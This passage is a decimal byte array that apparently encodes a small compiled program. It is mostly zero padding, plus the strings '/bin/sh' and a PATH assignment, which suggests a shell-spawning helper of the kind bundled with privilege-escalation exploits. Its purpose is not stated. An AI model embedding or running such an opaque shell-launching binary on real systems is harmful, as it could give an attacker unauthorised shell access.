0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
47, 98, 105, 110, 47, 115, 104, 0, 80, 65, 84, 72, 61, 47, 117, 115,
114, 47, 108, 111, 99, 97, 108, 47, 115, 98, 105, 110, 58, 47, 117, 115,
114, 47, 108, 111, 99, 97, 108, 47, 98, 105, 110, 58, 47, 117, 115, 114,
47, 115, 98, 105, 110, 58, 47, 117, 115, 114, 47, 98, 105, 110, 58, 47,
115, 98, 105, 110, 58, 47, 98, 105, 110, 58, 47, 111, 112, 116, 47, 98,
105, 110, 0, 0, 1, 27, 3, 59, 40, 0, 0, 0, 4, 0, 0, 0,
220, 239, 255, 255, 68, 0, 0, 0, 41, 241, 255, 255, 104, 0, 0, 0,
57, 241, 255, 255, 136, 0, 0, 0, 183, 241, 255, 255, 164, 0, 0, 0,
20, 0, 0, 0, 0, 0, 0, 0, 1, 122, 82, 0, 1, 124, 8, 1,
27, 12, 4, 4, 136, 1, 0, 0, 32, 0, 0, 0, 28, 0, 0, 0,
144, 239, 255, 255, 80, 0, 0, 0, 0, 14, 8, 70, 14, 12, 74, 15,
11, 116, 4, 120, 0, 63, 26, 59, 42, 50, 36, 34, 28, 0, 0, 0,
64, 0, 0, 0, 185, 240, 255, 255, 16, 0, 0, 0, 0, 65, 14, 8,
133, 2, 66, 13, 5, 76, 197, 12, 4, 4, 0, 0, 24, 0, 0, 0,
96, 0, 0, 0, 169, 240, 255, 255, 126, 0, 0, 0, 0, 65, 14, 8,
133, 2, 66, 13, 5, 68, 131, 3, 16, 0, 0, 0, 124, 0, 0, 0,
11, 241, 255, 255, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
